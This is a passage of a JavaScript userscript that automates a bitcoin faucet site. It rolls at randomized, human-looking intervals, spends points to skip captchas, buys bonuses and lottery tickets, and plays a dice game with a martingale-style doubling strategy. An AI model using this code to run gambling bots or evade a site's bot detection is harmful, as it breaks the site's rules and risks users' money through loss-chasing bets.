  553. } // or if missing time on roll error
  554. if (t[0] < 0){
  555. if (LOGGING > 3) console.log('[RPBonuses] Error getting missing time less then 0, that was'+t[0]+":"+t[1]);
  556. $('#script_output_title_bonus_wait_hours').text('E0001').removeClass('true').addClass('false');
  557. return false;
  558. } // or before missing 10-20 minutes
  559. if ( t[0] >= min_missing_min ) {
  560. if (LOGGING > 3) console.log('[RPBonuses] Not buying RPBonuses. Wait '+Math.floor(t[0]-min_missing_min)+' minutes to buy near roll');
  561. $('#script_output_title_bonus_wait_hours').text('Wait '+Math.floor(t[0]-min_missing_min)+' m');
  562. return false;
  563. }
  564. // Buy some RP Bonus
  565. $('.rewards_link').not('.hide_menu').click();
  566. tot_rp_spent_rewards = parseInt(tot_rp_spent_rewards);
  567. if (LOGGING > 4) console.log("[RPBonuses] Tot rp spent in Bonuses before: "+tot_rp_spent_rewards);
  568. setTimeout(function() {
  569. if (reward_points < 12) {
  570. if (LOGGING > 2) console.log("[RPBonuses] No enough points to buy bonus. Less then 12. Waiting for points in next rolls");
  571. } else if (reward_points < 120) {
  572. if (LOGGING > 1) console.log("[RPBonuses] buying bonus 1RP");
  573. RedeemRPProduct('free_points_1');
  574. tot_rp_spent_rewards+=12;
  575. } else if (reward_points < 600) {
  576. if (LOGGING > 1) console.log("[RPBonuses] buying bonus 10RP");
  577. RedeemRPProduct('free_points_10');
  578. tot_rp_spent_rewards+=120;
  579. } else if (reward_points < 1200) {
  580. if (LOGGING > 1) console.log("[RPBonuses] buying bonus 50RP");
  581. RedeemRPProduct('free_points_50');
  582. tot_rp_spent_rewards+=600;
  583. } else {
  584. if (LOGGING > 1) console.log("[RPBonuses] buying bonus 100RP");
  585. RedeemRPProduct('free_points_100');
  586. tot_rp_spent_rewards+=1200;
  587. }
  588. if (reward_points >= 4800 && Boolean(BONUS1000) ) {
  589. if (LOGGING > 1) console.log("[RPBonuses] buying bonus 1000% roll - not convenient anymore");
  590. setTimeout(function(){ RedeemRPProduct('fp_bonus_1000')},random(5000,10000));
  591. tot_rp_spent_rewards+=3200;
  592. }
  593. $("#script_output_title_msg_mode").text("Promo");
  594. setTimeout(function(){
  595. setCookie("tot_rp_spent_rewards",tot_rp_spent_rewards,7);
  596. if (LOGGING > 4) console.log("[RPBonuses] Tot rp spent in Bonuses after: "+tot_rp_spent_rewards);
  597. $('.free_play_link').not('.hide_menu').click();
  598. }, random(10000,20000));
  599. } ,random(2000,16000));
  600. }
  601. }
  602. function Roll() {
  603. if (LOGGING > 4) console.log("%c[Roll] [Debug] Function Roll begin", 'color:grey');
  604. var d = new Date();
  605. var h = d.getHours();
  606. var t = missingTime();
  607. if (!Boolean(ROLL)) {
  608. $("#script_output_title_msg_mode").text("Disabled").removeClass('true').addClass('false');
  609. return true;
  610. }
  611. rollTryCount++;
  612. if ($('#free_play_form_button').is(':visible') && ! $('#play_without_captchas_button').is(':visible')) {
  613. r=random(1,100);
  614. if ( isNight() && Boolean(NIGHT_MODE) ) {
  615. if (r <= 30) rand=random(2400000,7200000);
  616. else rand=random(1000000,3600000);
  617. rolling_mode="Night";
  618. } else {
  619. if (r <= 10) rand=random(9000,7200000); // xx%, long wait, more than hour
  620. else if (r <= 30) rand=random(6000,1800000); // long but not longest
  621. else if (r <= 71) rand=random(3000,1200000); // xx% cases medium
  622. else rand=random(500,60000); // xx% cases fast roll
  623. rolling_mode="Day";
  624. }
  625. if (Boolean(SLOW_MODE)) {
  626. if (r <= 5) rand=random(3000,100000);
  627. else if (r <= 20) rand=random(300000,1500000);
  628. else if (r <= 40) rand=random(60000,2000000);
  629. else rand=random(120000,3000000);
  630. rolling_mode="Slow";
  631. }
  632. if (Boolean(isBonusActive) && Boolean(PROMO_MODE) ) { //If promo is active, roll faster
  633. if (r <= 5) rand=random(9000,3600000);
  634. else if (r <= 20) rand=random(6000,1500000);
  635. else if (r <= 40) rand=random(3000,1000000);
  636. else rand=random(500,240000);
  637. rolling_mode="Promo";
  638. } else if ( isNight() && Boolean(GHOST_MODE)) {
  639. // console.log("Ghost mode is active, don't free roll in the night");
  640. $("#script_output_title_msg_mode").text('Ghost');
  641. var waiting_milli;
  642. if (stopNight > h) {
  643. waiting_milli = (stopNight - h + 1)*60*60*1000;
  644. } else {
  645. waiting_milli = (stopNight + (24 - h + 1))*60*60*1000;
  646. }
  647. rand=random(waiting_milli, (waiting_milli + 3600000));
  648. if (LOGGING > 2) console.log("%c[Roll] Ghost Mode, Refresh page in rand "+rand/1000+" s", 'color: grey');
  649. setTimeout(function(){
  650. location.reload();
  651. }, rand );
  652. return true;
  653. }
  654. if (tot_btc_winning_rolling == 0) {
  655. rand=random(1000,2000);
  656. if (LOGGING > 2) console.log('>>>>> First Execution, fast ROLL');
  657. }
  658. $("#script_output_title_msg_mode").text(rolling_mode);
  659. //rand = rand(1000,2000);
  660. // Real ROLL Function
  661. rollAndRetrieve(rand);
  662. } else if ($('#play_without_captchas_button').is(':visible') ){
  663. if (Boolean(PLAY_WITHOUT_CAPTCHA)) {
  664. //Try to play without captcha, if enough RP
  665. if (LOGGING > 2) console.log ("[Roll] Captcha Roll");
  666. captchaRoll();
  667. } else {
  668. return false;
  669. }
  670. } else if (rollTryCount >= 10) {
  671. // refresh page after 10 minutes trying the next case
  672. location.reload();
  673. } else if (t[0] <= 0) {
  674. // Not in the home page window, try again in a bit
  675. $('#script_output_title_msg_roll').html('<span class="bold">Waiting 1m</span>');
  676. if (LOGGING > 2) console.log("[Roll] Retry in 1m");
  677. setTimeout(function(){
  678. Roll();
  679. }, 60000 );
  680. } else {
  681. $('#script_output_title_msg_roll').html('<span class="bold">Waiting Next Roll</span>');
  682. //$("#script_output_title_msg_mode").text("Wait");
  683. if (LOGGING > 2) console.log("[Roll] No roll");
  684. }
  685. }
  686. function captchaRoll() {
  687. if (LOGGING > 4) console.log("%c[Roll] [Debug] Function captchaRoll begin", 'color:grey');
  688. $('#play_without_captchas_button').click();
  689. setTimeout(function(){
  690. var cost_rp = $('.play_without_captcha_description span').text();
  691. if (LOGGING > 2) console.log ("%c[Roll] Try to play without captcha for "+cost_rp+" RP points. You have "+reward_points+" RP.", 'color:purple;');
  692. if (reward_points >= cost_rp ) {
  693. // ROLL anyway paying
  694. if (LOGGING > 2) console.log ("[Roll] Roll with Captcha");
  695. $('#script_output_title_msg_roll').html('<span class="bold true">Captcha OK</span>');
  696. r=random(1,100);
  697. if (r <= 10) rand=random(9000,7200000); // xx%, long wait, more than hour
  698. else if (r <= 30) rand=random(6000,1800000); // long but not longest
  699. else if (r <= 71) rand=random(3000,1200000); // xx% cases medium
  700. else rand=random(500,60000); // xx% cases fast roll
  701. rolling_mode="Captcha";
  702. $("#script_output_title_msg_mode").text(rolling_mode);
  703. if (tot_btc_winning_rolling == 0) {
  704. rand=random(1000,2000);
  705. if (LOGGING > 2) console.log('>>>>> First Execution, fast ROLL');
  706. }
  707. rand = random(500,60000);
  708. rollAndRetrieve(rand);
  709. tot_rp_spent_captcha = Math.floor (parseInt(tot_rp_spent_captcha)+parseInt(cost_rp));
  710. setCookie("tot_rp_spent_captcha", tot_rp_spent_captcha, 7);
  711. } else {
  712. if (LOGGING > 2) console.log ("%c[Roll] Not enough RP. No Roll", 'color: red');
  713. $('#script_output_title_msg_roll').html('<span class="bold false">Miss RP</span>'); // Status on page
  714. }
  715. }, random(1000,3000));
  716. }
  717. function rollAndRetrieve (rand) {
  718. if (LOGGING > 4) console.log("%c[Roll] [Debug] Function rollAndRetrieve begin", 'color:grey');
  719. var d = new Date();
  720. var h = d.getHours();
  721. // Show hour when will roll in status panel
  722. // new date to modify various time during function
  723. var d1 = new Date();
  724. d1.setSeconds(d.getSeconds() + rand/1000);
  725. var [{ value: year },,{ value: month },,{ value: day },,{ value: hour },,{ value: minute }] = dateTimeFormat.formatToParts(d1);
  726. $('#script_output_title_msg_roll').html('<span class="bold">Roll at <span class="false">'+hour+':'+minute+'</span></span>');
  727. if (LOGGING > 2) console.log('%c[Roll] ---Will roll in '+rand/1000/60+' minutes','color:green');
  728. setTimeout(function(){
  729. //Duplicate the visibility chek to avoid error when humans roll and don't refresh.
  730. if ( $('#free_play_form_button').is(':visible') ){
  731. $('body').focus();
  732. //Update Status on page
  733. $('#script_output_title_msg_roll').html('<span class="true">++ Rolling NOW!</span>'); // Status on page
  734. if (LOGGING > 2) console.log('%c+++ROLL!','color:purple; font-weight: bold');
  735. // Execute the roll!!
  736. setTimeout(function(){ $('#free_play_form_button').click(); }, 500);
  737. setTimeout(function(){
  738. // get some errors and log those :(
  739. if ( $('#free_play_error').html().length > 0 ) {
  740. if (LOGGING > 1) console.log("%c[Roll] Some error occurred in Roll: "+$('#free_play_error').html() );
  741. return false;
  742. } else {
  743. var win_btc = $('#winnings').text();
  744. var win_lottery = $('#fp_lottery_tickets_won').text();
  745. var win_rp = $('#fp_reward_points_won').text();
  746. executions++;
  747. }
  748. // close tedious popup now
  749. closePopupInterval($('.close-reveal-modal'));
  750. //Update Status on page
  751. $('#script_output_title_msg_roll').html('<span class="true">++ Rolled</span>'); // Status on page
  752. $('#script_output_title_executions_num').text(executions);
  753. setCookie('executions', executions, 7);
  754. if (LOGGING > 2) console.log('%c[Roll] Execution number: '+executions,'font-weight:bold; color:green');
  755. if (LOGGING > 2) console.log('%c[Roll] Got '+win_btc+' btc, '+win_lottery+' tickets and '+win_rp+' RP!','font-weight:bold; color:green');
  756. if (win_btc > 0) {
  757. tot_btc_winning_rolling = parseFloat(parseFloat(tot_btc_winning_rolling) + parseFloat(win_btc)).toFixed(8);
  758. setCookie('tot_btc_winning_rolling', tot_btc_winning_rolling, 7);
  759. if (LOGGING > 2) console.log('%c[Roll] BTC Won totally with script %c'+tot_btc_winning_rolling,'color: gray', 'font-weight:bold');
  760. } else {
  761. if (LOGGING > 1) console.log('%c[Roll] Some error retrieving Roll Winnings. Winning btc was: '+win_btc, 'color: red');
  762. }
  763. if (win_lottery > 0) {
  764. tot_lottery_winning_rolling = parseFloat(parseFloat(tot_lottery_winning_rolling) + parseFloat(win_lottery)).toFixed(0);
  765. setCookie('tot_lottery_winning_rolling', tot_lottery_winning_rolling, 7);
  766. if (LOGGING > 2) console.log('%c[Roll] Tickets Won with script %c'+tot_lottery_winning_rolling,'color: gray', 'font-weight:bold');
  767. } else {
  768. if (LOGGING > 1) console.log('%c[Roll] Some error retrieving Roll Winnings. Winning lottery was: '+win_btc, 'color: red');
  769. }
  770. if (win_rp > 0) {
  771. tot_rp_winning_rolling = parseFloat(parseFloat(tot_rp_winning_rolling) + parseFloat(win_rp)).toFixed(0);
  772. setCookie('tot_rp_winning_rolling', tot_rp_winning_rolling, 7);
  773. if (LOGGING > 2) console.log('%c[Roll] RP Won with script %c'+tot_rp_winning_rolling,'color: gray', 'font-weight:bold');
  774. } else {
  775. if (LOGGING > 1) console.log('%c[Roll] Error retrieving Roll Winnings. Winning RP was: '+win_btc, 'color: red');
  776. }
  777. }, 6999);
  778. } else {
  779. if (LOGGING > 3) console.log('[Roll] Already Rolled maybe by some human..');
  780. //Update Status on page
  781. $('#script_output_title_msg_roll').html('<span class="false">Already Rolled</span>'); // Status on page
  782. setTimeout(function(){ location.reload(); }, 30000);
  783. }
  784. },rand);
  785. //Random Action After ROLL
  786. var rand1=rand+random(1000,600000);
  787. rand=random(0,100);
  788. if (rand > ROLL_P) {
  789. if (LOGGING > 2) console.log('[Roll] [Debug] Reload page after roll in '+rand1/1000/60+' minutes!');
  790. setTimeout(function(){ location.reload(); }, rand1);
  791. } else if (rand <= ROLL_P && Boolean(MULTIPLY) && Boolean(isMultiplyPlayable)) {
  792. // Show hour when will multiply in status panel
  793. d1.setSeconds(d.getSeconds() + rand1/1000);
  794. [{ value: year },,{ value: month },,{ value: day },,{ value: hour },,{ value: minute }] = dateTimeFormat.formatToParts(d1);
  795. if (LOGGING > 0) console.log('[Roll] ---Will multiply in '+rand1/1000/60+' minutes!');
  796. $('#script_output_multiply_status').html('<span class="bold">Multiply at: <span class="false">'+hour+':'+minute+'</span></span>');
  797. setTimeout(function(){ multiply(true, false); }, rand1);
  798. } else {
  799. if (LOGGING > 2) console.log('[Roll] No action after roll. Rand was '+rand);
  800. }
  801. }
  802. function lottery () {
  803. //Plan buying lottery ticket
  804. if(Boolean(LOTTERY)){
  805. if (LOGGING > 4) console.log("%c[Lottery] [Debug] Function lottery begin", 'color:gray');
  806. var r = random(1,100);
  807. var d = new Date();
  808. var h = d.getHours();
  809. var satbalance = parseInt($('#balance').text().split(".")[1]);
  810. var randl = random(1,LOTTERY_MAX_TICKETS).toFixed(0); //Tickets to buy
  811. if ( isNight() ) return true;
  812. else if (satbalance <= randl) return true;
  813. else if (r>= LOTTERY_P) return true;
  814. if (LOGGING > 2) console.log("[Lottery] Buy %c"+ randl + " lottery tickets %cin some time....", 'color:yellow', 'color:reset');
  815. setTimeout(function(){
  816. $('#lottery_tickets_purchase_count').val(randl);
  817. setTimeout(function(){
  818. $('#purchase_lottery_tickets_button').click();
  819. if (LOGGING > 2) console.log("%c[Lottery] Bought "+ randl + " lottery tickets", 'color:yellow');
  820. tot_lottery_tickets = Math.floor(parseInt(tot_lottery_tickets) + parseInt(randl));
  821. setCookie('tot_lottery_tickets',tot_lottery_tickets,7);
  822. }, random(2000,4000));
  823. }, random(40000,120000));
  824. }
  825. }
  826. // Multiply, called after the free roll, sometimes.
  827. // ******** MULTIPLY GAME LOGIC START *********
  828. // Pre start and selector
  829. function multiply(after_roll, forced) {
  830. if (LOGGING > 4) console.log("%c[Multiply] [Debug] Function multiply begin", 'color:grey');
  831. var d = new Date();
  832. var h = d.getHours();
  833. var t = missingTime();
  834. var max_missing_min = 0;
  835. var milli_between_multiplies = Math.floor(HOURS_BETWEEN_MULTIPLY*60*60*1000);
  836. var balance = parseFloat($('#balance').text()).toFixed(8);
  837. var bonus_mul = false;
  838. var last_multiply_diff = Math.floor(d.getTime() - last_multiply);
  839. if (LOGGING > 4) console.log("%c[Multiply] [Debug] lastMultiply diff: "+last_multiply_diff+" -- last_multiply: "+last_multiply+" -- now: "+d.getTime(), 'color:grey');
  840. if ($("#bonus_account_table").length != 0) {
  841. var bonus_mul_balance = $('#bonus_account_balance').text().split(" ")[0];
  842. var bonus_mul_wager_remaining = $('#bonus_account_wager').text().split(" ")[0];
  843. if (LOGGING > 2) console.log('%c[Multiply] bonus balance: '+bonus_mul_balance+', wager remaining: '+bonus_mul_wager_remaining, 'color:grey');
  844. bonus_mul = true;
  845. } else bonus_mul = false;
  846. if (!Boolean(MULTIPLY) && !Boolean(forced)) {
  847. if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Disabled by config');
  848. $('#script_output_title_multiply_wait_hours').text('Disabled').removeClass('true').addClass('false');
  849. $('#multiply_strategy').hide();
  850. return false;
  851. }
  852. if ( !Boolean(MULTIPLY_AT_NIGHT) && isNight() && !Boolean(forced)) {
  853. if (LOGGING > 3) console.log('%c[Multiply] Not playing multiply in the night','color:gray');
  854. $('#script_output_title_multiply_wait_hours').text('Wait Morning');
  855. return false;
  856. }
  857. if ( balance < MAX_BET && bonus_mul_balance < MAX_BET && !Boolean(forced)) {
  858. if (LOGGING > 3) console.log('[Multiply] Not enough balance for MAX_BET');
  859. $('#script_output_title_multiply_wait_hours').text('Adjust MaxBet');
  860. return false;
  861. }
  862. if ( last_multiply_diff < milli_between_multiplies && !Boolean(forced)) {
  863. var min_between_mult=Math.floor((milli_between_multiplies - last_multiply_diff)/1000/60);
  864. var hours_between_mult=Math.floor(min_between_mult/60);
  865. if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Wait HOURS_BETWEEN_MULTIPLY before play again, missing '+hours_between_mult+"h "+min_between_mult%60+"m");
  866. $('#script_output_title_multiply_wait_hours').text('Wait '+hours_between_mult+"h "+min_between_mult%60+"m");
  867. //$('#ref_multiply_missing_hours').text(Math.ceil((milli_between_multiplies - last_multiply_diff)/1000/60/60));
  868. $('#script_output_title_multiply_wait_hours').removeClass('true').addClass('false');
  869. return false;
  870. }
  871. if ( t[0] > 0 && t[0] <= max_missing_min && !Boolean(forced)) {
  872. if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Wait to play not near next roll, missing just %c'+t[0]+' min', 'color:purple');
  873. $('#script_output_title_multiply_wait_hours').text('Wait '+t[0]+'m');
  874. return false;
  875. }
  876. if (Boolean(isMultiplyRunning)) {
  877. if (LOGGING > 3) console.log('[Multiply] Not playing multiply. Some other istance already playing');
  878. return false;
  879. }
  880. if (Boolean(after_roll)) {
  881. if (!Boolean(forced)) $('.double_your_btc_link').not('.hide_menu').click();
  882. tot_multiply_games = parseInt(tot_multiply_games)+1;
  883. setCookie("tot_multiply_games", tot_multiply_games, 30);
  884. setCookie("last_multiply", d.getTime(), 30);
  885. $('#script_output_multiply_status').html('<span class="bold">Multiply: <span class="true">Running!</span></span>');
  886. if (LOGGING > 4) console.log(Boolean(after_roll)+", "+balance+", "+bonus_mul_balance+", "+MAX_BET+", "+Boolean(MULTIPLY));
  887. multiply_manual();
  888. } else {
  889. isMultiplyPlayable = true;
  890. if (LOGGING > 3) console.log('[Multiply] Yes can play multiply '+isMultiplyPlayable);
  891. }
  892. }
  893. function multiply_manual() {
  894. var bet_count=0; var bet_remaining=0;
  895. var past_bet; var bet_amount; var bet_odds; var bet_hilo;
  896. var winnings=0;
  897. var won=0; // won lost or error -1, 1 or 0
  898. var consecutive_lost=0; var consecutive_win=0;
  899. var fast_bet=false; var log_msg = ""; var c;
  900. var multiply_message="";
  901. var curr_multiply_balance=0; var curr_multiply_wagered = 0;
  902. var max_consecutive_losts_session=0; var max_consecutive_wins_session=0;
  903. var max_consecutive_losts_inplay_session=0; var max_bet_session=0;
  904. var last_session_hist=[];
  905. var balance = parseFloat($('#balance').text()).toFixed(8);
  906. // Global vars setting to avoid duplicate games and increments.
  907. // as error reported bug on play
  908. game2_consecutive_lost_passed=false; game2_finished_loosing=false;
  909. game2_play_after_losses=0; game2_step=0;
  910. forceMultiplyStopHard=false; forceMultiplyStopSoft=false;
  911. game_play_began=false; game_play_count=0;
  912. // Multilpy Running
  913. isMultiplyRunning = true;
  914. if ( $('#multiply_full_container').length) {
  915. multiply_message = "<span class='lime'><b>Running!</b></span>";
  916. $('#multiply_message').html(multiply_message);
  917. }
  918. // Activate DOM Monitors
  919. /// *** NEW VERSION ***
  920. if (LOGGING > 4) console.log("[Multiply] Activating MutationObserver Monitors, beginning to play");
  921. const targetNode = document.getElementById('double_your_btc_result');
  922. const config = { attributes: true, childList: true, subtree: true };
  923. const callback = function(mutationsList, observer) {
  924. //if (LOGGING > 4) console.log("%cDom modified.", "color: grey");
  925. if ( $('#double_your_btc_error').html().length > 0 ) {
  926. var multiply_error = $('#double_your_btc_error').html();
  927. console.log('%c[Multiply] Fatal Error in multiply: '+multiply_error, 'color: red');
  928. //$('#script_output_title_multiply_wait_hours').text('Fatal Error').removeClass(true).addClass('false');
  929. setCookie('multiply_error', multiply_error, 31);
  930. multiply_message = "Finish for some error";
  931. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  932. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  933. return true;
  934. } else if ( $("#double_your_btc_bet_win").html().length > 0 ) {
  935. won = 1; c="green"; fast_bet = true;
  936. winnings = $("#double_your_btc_bet_win").html().split(" ")[6];
  937. if (winnings > 0) {
  938. tot_multiply_balance = parseFloat(parseFloat(tot_multiply_balance) + parseFloat(winnings)).toFixed(8);
  939. curr_multiply_balance = parseFloat(parseFloat(curr_multiply_balance) + parseFloat(winnings)).toFixed(8);
  940. }
  941. consecutive_win++;
  942. consecutive_lost=0;
  943. if ( $('#multiply_full_container').length) {
  944. $('#multiply_cons_wins > b').html(consecutive_win).addClass("green-bg");
  945. setTimeout(function () { $("#multiply_cons_wins > b").removeClass("green-bg"); },500);
  946. }
  947. } else if ($("#double_your_btc_bet_lose").html().length > 0 ) {
  948. won = -1; c = "red";
  949. winnings = $("#double_your_btc_bet_lose").html().split(" ")[6];
  950. if (winnings > 0) {
  951. tot_multiply_balance = parseFloat(parseFloat(tot_multiply_balance) - parseFloat(winnings)).toFixed(8);
  952. curr_multiply_balance = parseFloat(parseFloat(curr_multiply_balance) - parseFloat(winnings)).toFixed(8);
  953. }
  954. consecutive_lost++;
  955. consecutive_win=0;
  956. if ( $('#multiply_full_container').length) {
  957. $('#multiply_cons_losts > b').html(consecutive_lost).addClass("red-bg");
  958. setTimeout(function () { $("#multiply_cons_losts > b").removeClass("red-bg"); },500);
  959. }
  960. } else won = 0;
  961. if (won != 0) {
  962. // COOKIES for STATISTICS
  963. setCookie("tot_multiply_balance", tot_multiply_balance, 7);
  964. setCookie('curr_multiply_balance',curr_multiply_balance,7);
  965. var rolled = $('#previous_roll').text();
  966. last_session_hist.push(Math.round(curr_multiply_balance*100000000));
  967. setCookie('last_multiply_session_hist',JSON.stringify(last_session_hist),7)
  968. // Session Cookie
  969. if (consecutive_lost >= max_consecutive_losts_session) {
  970. max_consecutive_losts_session=consecutive_lost;
  971. setCookie('max_consecutive_losts_session', max_consecutive_losts_session, 7);
  972. }
  973. if (consecutive_lost >= max_consecutive_losts_inplay_session && bet_amount > MIN_BET) {
  974. max_consecutive_losts_inplay_session=consecutive_lost;
  975. setCookie('max_consecutive_losts_inplay_session',max_consecutive_losts_inplay_session,7);
  976. }
  977. if (bet_amount >= max_bet_session) {
  978. max_bet_session=parseFloat(bet_amount).toFixed(8);
  979. setCookie('max_bet_session',max_bet_session,7);
  980. }
  981. // General Cookies
  982. if (consecutive_lost > max_consecutive_losts_inplay && bet_amount > MIN_BET) {
  983. max_consecutive_losts_inplay = consecutive_lost;
  984. setCookie('max_consecutive_losts_inplay',max_consecutive_losts_inplay,7);
  985. }
  986. if (consecutive_lost > max_consecutive_losts) {
  987. max_consecutive_losts=consecutive_lost;
  988. setCookie('max_consecutive_losts', consecutive_lost, 365);
  989. }
  990. if ( rolled != '7777' ){
  991. jackpot_distance++;
  992. setCookie('jackpot_distance', jackpot_distance, 31);
  993. }
  994. if ( $('#multiply_full_container').length) {
  995. // Update the values
  996. $('#multiply_bet_count > b').html(bet_count).addClass("green-bg");
  997. setTimeout(function () { $("#multiply_bet_count > b").removeClass("green-bg"); },200);
  998. $('#multiply_play_count > b').html(game_play_count);
  999. $('#multiply_max_cons_losts > b').html(max_consecutive_losts_session);
  1000. $('#multiply_max_bet > b').html(max_bet_session);
  1001. $('#balance_before > b').html(balance);
  1002. $('#balance_now > b').html(parseFloat($('#balance').text()).toFixed(8));
  1003. $('#multiply_wagered > b').html(curr_multiply_wagered);
  1004. $('#multiply_profit > b').html(curr_multiply_balance);
  1005. }
  1006. // Next bet values getting It return a FLOAT number. Will be converted in bet function.
  1007. bet_amount = get_bet_amount( past_bet, consecutive_lost, consecutive_win);
  1008. bet_hilo = get_bet_hilo(consecutive_lost);
  1009. bet_odds = get_bet_odds();
  1010. if (LOGGING > 2) {
  1011. log_msg = "Rolled:"+rolled+",%c Won:"+parseFloat(winnings).toFixed(8)+"%c, Played#:"+bet_count;
  1012. log_msg += "/"+MAX_ROLLS_AT_MULTIPLY+"/"+game_play_count+", L/W: "+consecutive_lost+"/"+consecutive_win;
  1013. log_msg += ", CurrBal:"+curr_multiply_balance+", TotBal:"+tot_multiply_balance;
  1014. log_msg += " <Next bet: "+parseFloat(bet_amount).toFixed(8)+"("+game2_step+") on "+bet_hilo+", Fast: "+fast_bet+">";
  1015. console.log(log_msg, css_bold+"color:"+c, css_reset);
  1016. }
  1017. // EXIT CONDITIONS -- Play or finished logic
  1018. if (Boolean(forceMultiplyStopHard)) {
  1019. multiply_message = "Finish for <b>Stop Button</b> pressed";
  1020. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1021. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1022. return true;
  1023. } else if ( bet_count >= MAX_ROLLS_AT_MULTIPLY || Boolean(forceMultiplyStopSoft)) {
  1024. if (LOGGING > 2) console.log("%cSoft finish, wait ending this play", css_bold+"color:"+c+", "+css_reset);
  1025. if ( !Boolean(game_play_began) ) {
  1026. multiply_message = "Finish for <b>Stop Soft</b> or <b>Max Roll</b> passed";
  1027. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1028. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1029. return true;
  1030. }
  1031. } else if (game_play_count >= MAX_PLAY && !Boolean(game_play_began)) {
  1032. multiply_message = "Finish for <b>Game Play</b> count passed";
  1033. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1034. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1035. return true;
  1036. } else if (bet_amount > MAX_BET) {
  1037. multiply_message = "Finish for <b>bet amount</b> passed max bet";
  1038. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1039. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1040. return true;
  1041. } else if (curr_multiply_balance >= MAX_WIN) {
  1042. multiply_message = "Finish for <b>MAX_WIN</b> passed";
  1043. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1044. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1045. return true;
  1046. } else if (bet_amount < 0.00000001) {
  1047. multiply_message = "Finish for error in bet amount value";
  1048. if (LOGGING > 2) console.log("%c"+multiply_message, css_bold+"color:"+c);
  1049. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1050. return false;
  1051. }
  1052. curr_multiply_wagered = parseFloat(parseFloat(curr_multiply_wagered) + parseFloat(bet_amount)).toFixed(8);
  1053. tot_multiply_wagered = parseFloat(parseFloat(tot_multiply_wagered) + parseFloat(bet_amount)).toFixed(8);
  1054. setCookie('tot_multiply_wagered',tot_multiply_wagered, 365);
  1055. setCookie('curr_multiply_wagered',curr_multiply_wagered, 30);
  1056. if (past_bet != bet_amount) fast_bet=false;
  1057. else fast_bet=true;
  1058. bet_count++;
  1059. past_bet=bet_amount;
  1060. //Security wait of 30 seconds if speed fast (3) and every 500 collected
  1061. // call the bet
  1062. bet(bet_amount, bet_hilo, bet_odds, fast_bet);
  1063. } else {
  1064. var winlength=$("#double_your_btc_bet_win").html().length;
  1065. var loslength=$("#double_your_btc_bet_lose").html().length;
  1066. var domtree=$('#double_your_btc_result').html();
  1067. multiply_message = "Finish for no value in DOM var";
  1068. if (LOGGING > 1) console.log("%cFinish for no value in won var, was: "+won+", win l: "+winlength+", los l: "+loslength, css_bold+"color:"+c);
  1069. if (LOGGING > 3) console.log("%cFinish for no value in won var, DOM was: "+domtree, css_bold+"color: grey");
  1070. multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message);
  1071. }
  1072. };
  1073. // Begin the observer
  1074. const observer = new MutationObserver(callback);
  1075. observer.observe(targetNode, config);
  1076. // Disable Animation
  1077. $("#disable_animation_checkbox").prop( "checked", true );
  1078. // First bet that cause all the others and Dom modifications
  1079. setTimeout(function(){
  1080. bet_hilo = get_bet_hilo(0);
  1081. bet_amount = get_bet_amount(MIN_BET,0,0);
  1082. bet_odds = get_bet_odds();
  1083. bet_count++; past_bet=bet_amount;
  1084. bet(bet_amount, bet_hilo, bet_odds, false);
  1085. }, random (3500,6500) );
  1086. }
  1087. function get_bet_amount(past_bet, consecutive_lost, consecutive_win){
  1088. if (STRATEGY == 0) {
  1089. if (consecutive_lost == 0) {
  1090. game_play_began=false;
  1091. return BAS_BET;
  1092. }
  1093. else {
  1094. if (consecutive_lost == 1) {
  1095. game_play_began = true;
  1096. game_play_count++;
  1097. tot_multiply_play++;
  1098. setCookie('tot_multiply_play', tot_multiply_play, 7);
  1099. }
  1100. return past_bet*2;
  1101. }
  1102. } else if (STRATEGY == 1 || WAIT_PLAY_AFTER_LOSSES == 0){
  1103. if (consecutive_lost < MIN_LOSSES_BEFORE_PLAY) {
  1104. if (Boolean(game_play_began)) {
  1105. game_play_began=false;
  1106. }
  1107. return MIN_BET;
  1108. } else if (consecutive_lost == MIN_LOSSES_BEFORE_PLAY){
  1109. game_play_began=true;
  1110. tot_multiply_play++;
  1111. game_play_count++;
  1112. setCookie('tot_multiply_play', tot_multiply_play, 7);
  1113. return BAS_BET;
  1114. } else {
  1115. return past_bet+(past_bet*INCR/100);
  1116. }
  1117. } else if (STRATEGY == 2 || STRATEGY == 3) {
  1118. if (!Boolean(game2_consecutive_lost_passed)) {
  1119. if (Boolean(game_play_began)) game_play_began=false;
  1120. if (consecutive_lost < MIN_LOSSES_BEFORE_PLAY) {
  1121. game2_step=1;
  1122. return MIN_BET;
  1123. } else if (consecutive_lost == MIN_LOSSES_BEFORE_PLAY){
  1124. // passed tot lost, next step -> else
  1125. game2_step=2;
  1126. game2_consecutive_lost_passed = true;
  1127. return MIN_BET;
  1128. } else return "-009";
  1129. } else {
  1130. if (!Boolean(game2_finished_loosing)) {
  1131. if (consecutive_win == 0 ) {
  1132. game2_step=3;
  1133. return MIN_BET;
  1134. } else {
  1135. //finished loosing, first win, next step -> else
  1136. game2_step=4;
  1137. game2_finished_loosing=true;
  1138. game2_play_after_losses++;
  1139. return get_bet_amount(MIN_BET,consecutive_lost,consecutive_win);
  1140. }
  1141. } else {
  1142. if (!Boolean(game_play_began)){
  1143. if (game2_play_after_losses < WAIT_PLAY_AFTER_LOSSES) {
  1144. game2_step=5;
  1145. game2_play_after_losses++;
  1146. return MIN_BET;
